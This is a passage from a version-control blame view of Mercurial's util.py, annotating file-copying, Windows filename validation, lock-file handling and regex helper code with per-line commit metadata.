util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1712 if oldstat and oldstat.stat: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
1713 newstat = filestat.frompath(dest) |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1714 if newstat.isambig(oldstat): |
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1715 # stat of copied file is ambiguous to original one |
36781
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
1716 advanced = ( |
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
1717 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff |
29204
ce2d81aafbae
util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29201
diff
changeset
|
1718 os.utime(dest, (advanced, advanced)) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1719 except shutil.Error as inst: |
37096
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
1720 raise error.Abort(str(inst)) |
3629
4cfb72bcb978
util: add copyfile function
Matt Mackall <mpm@selenic.com>
parents:
3568
diff
changeset
|
1721 |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1722 def copyfiles(src, dst, hardlink=None, progress=None): |
24439
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1723 """Copy a directory tree using hardlinks if possible.""" |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1724 num = 0 |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1725 |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1726 def settopic(): |
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1727 if progress: |
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1728 progress.topic = _('linking') if hardlink else _('copying') |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1729 |
1207 | 1730 if os.path.isdir(src): |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1731 if hardlink is None: |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1732 hardlink = (os.stat(src).st_dev == |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1733 os.stat(os.path.dirname(dst)).st_dev) |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1734 settopic() |
1207 | 1735 os.mkdir(dst) |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
1736 for name, kind in listdir(src): |
1207 | 1737 srcname = os.path.join(src, name) |
1738 dstname = os.path.join(dst, name) | |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1739 hardlink, n = copyfiles(srcname, dstname, hardlink, progress) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1740 num += n |
1207 | 1741 else: |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1742 if hardlink is None: |
31720
dea2a17cbfd0
hardlink: check directory's st_dev when copying files
Jun Wu <quark@fb.com>
parents:
31719
diff
changeset
|
1743 hardlink = (os.stat(os.path.dirname(src)).st_dev == |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1744 os.stat(os.path.dirname(dst)).st_dev) |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1745 settopic() |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1746 |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1747 if hardlink: |
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1748 try: |
14235
b9e1b041744f
rename util.os_link to oslink
Adrian Buehlmann <adrian@cadifra.com>
parents:
14234
diff
changeset
|
1749 oslink(src, dst) |
2050
e49d0fa38176
util.copyfiles: only switch to copy if hardlink raises IOError or OSError.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2026
diff
changeset
|
1750 except (IOError, OSError): |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1751 hardlink = False |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1752 shutil.copy(src, dst) |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1753 else: |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1754 shutil.copy(src, dst) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1755 num += 1 |
38380
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1756 if progress: |
63e6f5ae84bc
copystore: use progress helper
Martin von Zweigbergk <martinvonz@google.com>
parents:
38314
diff
changeset
|
1757 progress.increment() |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1758 |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1759 return hardlink, num |
11254
640d419725d0
util.copyfiles: don't try os_link() again if it failed before
Adrian Buehlmann <adrian@cadifra.com>
parents:
11010
diff
changeset
|
1760 |
34052
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1761 _winreservednames = { |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1762 'con', 'prn', 'aux', 'nul', |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1763 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9', |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1764 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9', |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1765 } |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
1766 _winreservedchars = ':*?"<>|' |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1767 def checkwinfilename(path): |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1768 r'''Check that the base-relative path is a valid filename on Windows. |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1769 Returns None if the path is ok, or a UI string describing the problem. |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1770 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1771 >>> checkwinfilename(b"just/a/normal/path") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1772 >>> checkwinfilename(b"foo/bar/con.xml") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1773 "filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1774 >>> checkwinfilename(b"foo/con.xml/bar") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1775 "filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1776 >>> checkwinfilename(b"foo/bar/xml.con") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1777 >>> checkwinfilename(b"foo/bar/AUX/bla.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1778 "filename contains 'AUX', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1779 >>> checkwinfilename(b"foo/bar/bla:.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1780 "filename contains ':', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1781 >>> checkwinfilename(b"foo/bar/b\07la.txt") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1782 "filename contains '\\x07', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1783 >>> checkwinfilename(b"foo/bar/bla ") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1784 "filename ends with ' ', which is not allowed on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1785 >>> checkwinfilename(b"../bar") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1786 >>> checkwinfilename(b"foo\\") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1787 "filename ends with '\\', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1788 >>> checkwinfilename(b"foo\\/bar") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1789 "directory name ends with '\\', which is invalid on Windows" |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1790 ''' |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1791 if path.endswith('\\'): |
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1792 return _("filename ends with '\\', which is invalid on Windows") |
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1793 if '\\/' in path: |
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1794 return _("directory name ends with '\\', which is invalid on Windows") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1795 for n in path.replace('\\', '/').split('/'): |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1796 if not n: |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1797 continue |
32572
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
1798 for c in _filenamebytestr(n): |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
1799 if c in _winreservedchars: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1800 return _("filename contains '%s', which is reserved " |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1801 "on Windows") % c |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1802 if ord(c) <= 31: |
34360
f435097d13c9
py3: manually escape control character to be embedded in win filename error
Yuya Nishihara <yuya@tcha.org>
parents:
34357
diff
changeset
|
1803 return _("filename contains '%s', which is invalid " |
37084
f0b6fbea00cf
stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37083
diff
changeset
|
1804 "on Windows") % stringutil.escapestr(c) |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1805 base = n.split('.')[0] |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
1806 if base and base.lower() in _winreservednames: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1807 return _("filename contains '%s', which is reserved " |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1808 "on Windows") % base |
34361
7508a7dc95c1
py3: replace bytes[n] with slicing in checkwinfilename()
Yuya Nishihara <yuya@tcha.org>
parents:
34360
diff
changeset
|
1809 t = n[-1:] |
15358
a347b3614bae
util: don't complain about '..' in path components not working on Windows
Matt Mackall <mpm@selenic.com>
parents:
15159
diff
changeset
|
1810 if t in '. ' and n not in '..': |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1811 return _("filename ends with '%s', which is not allowed " |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1812 "on Windows") % t |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1813 |
34645 | 1814 if pycompat.iswindows: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1815 checkosfilename = checkwinfilename |
30974
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1816 timer = time.clock |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1817 else: |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
1818 checkosfilename = platform.checkosfilename |
30974
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1819 timer = time.time |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1820 |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1821 if safehasattr(time, "perf_counter"): |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1822 timer = time.perf_counter |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1823 |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1824 def makelock(info, pathname): |
36701
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
1825 """Create a lock file atomically if possible |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
1826 |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
1827 This may leave a stale lock file if symlink isn't supported and signal |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
1828 interrupt is enabled. |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
1829 """ |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1830 try: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1831 return os.symlink(info, pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1832 except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1833 if why.errno == errno.EEXIST: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1834 raise |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1835 except AttributeError: # no symlink in os |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1836 pass |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1837 |
36783
1fbbb8e83392
py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents:
36782
diff
changeset
|
1838 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) |
1fbbb8e83392
py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents:
36782
diff
changeset
|
1839 ld = os.open(pathname, flags) |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1840 os.write(ld, info) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1841 os.close(ld) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1842 |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1843 def readlock(pathname): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1844 try: |
39904
5fe0b880200e
py3: convert os.readlink() path to native strings on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
39777
diff
changeset
|
1845 return readlink(pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1846 except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1847 if why.errno not in (errno.EINVAL, errno.ENOSYS): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1848 raise |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1849 except AttributeError: # no symlink in os |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1850 pass |
39905
4017968f0a1d
util: use a context manager in readlock()
Matt Harbison <matt_harbison@yahoo.com>
parents:
39904
diff
changeset
|
1851 with posixfile(pathname, 'rb') as fp: |
4017968f0a1d
util: use a context manager in readlock()
Matt Harbison <matt_harbison@yahoo.com>
parents:
39904
diff
changeset
|
1852 return fp.read() |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1853 |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1854 def fstat(fp): |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1855 '''stat file object that may not have fileno method.''' |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1856 try: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1857 return os.fstat(fp.fileno()) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1858 except AttributeError: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1859 return os.stat(fp.name) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1860 |
3784 | 1861 # File system features |
1862 | |
29889
6f447b9ec263
util: rename checkcase() to fscasesensitive() (API)
Martin von Zweigbergk <martinvonz@google.com>
parents:
29832
diff
changeset
|
1863 def fscasesensitive(path): |
3784 | 1864 """ |
18911
451eb1c27c1b
util: improve doc for checkcase
Mads Kiilerich <mads@kiilerich.com>
parents:
18868
diff
changeset
|
1865 Return true if the given path is on a case-sensitive filesystem |
3784 | 1866 |
1867 Requires a path (like /foo/.hg) ending with a foldable final | |
1868 directory component. | |
1869 """ | |
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
1870 s1 = os.lstat(path) |
3784 | 1871 d, b = os.path.split(path) |
15667
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1872 b2 = b.upper() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1873 if b == b2: |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1874 b2 = b.lower() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1875 if b == b2: |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1876 return True # no evidence against case sensitivity |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1877 p2 = os.path.join(d, b2) |
3784 | 1878 try: |
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
1879 s2 = os.lstat(p2) |
3784 | 1880 if s2 == s1: |
1881 return False | |
1882 return True | |
14004
97ed99d1f419
eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents:
13985
diff
changeset
|
1883 except OSError: |
3784 | 1884 return True |
1885 | |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1886 try: |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1887 import re2 |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1888 _re2 = None |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1889 except ImportError: |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1890 _re2 = False |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1891 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1892 class _re(object): |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1893 def _checkre2(self): |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1894 global _re2 |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1895 try: |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1896 # check if match works, see issue3964 |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1897 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]')) |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1898 except ImportError: |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1899 _re2 = False |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1900 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1901 def compile(self, pat, flags=0): |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1902 '''Compile a regular expression, using re2 if possible |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1903 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1904 For best performance, use only re2-compatible regexp features. The |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1905 only flags from the re module that are re2-compatible are |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1906 IGNORECASE and MULTILINE.''' |
cad9dadc9d26
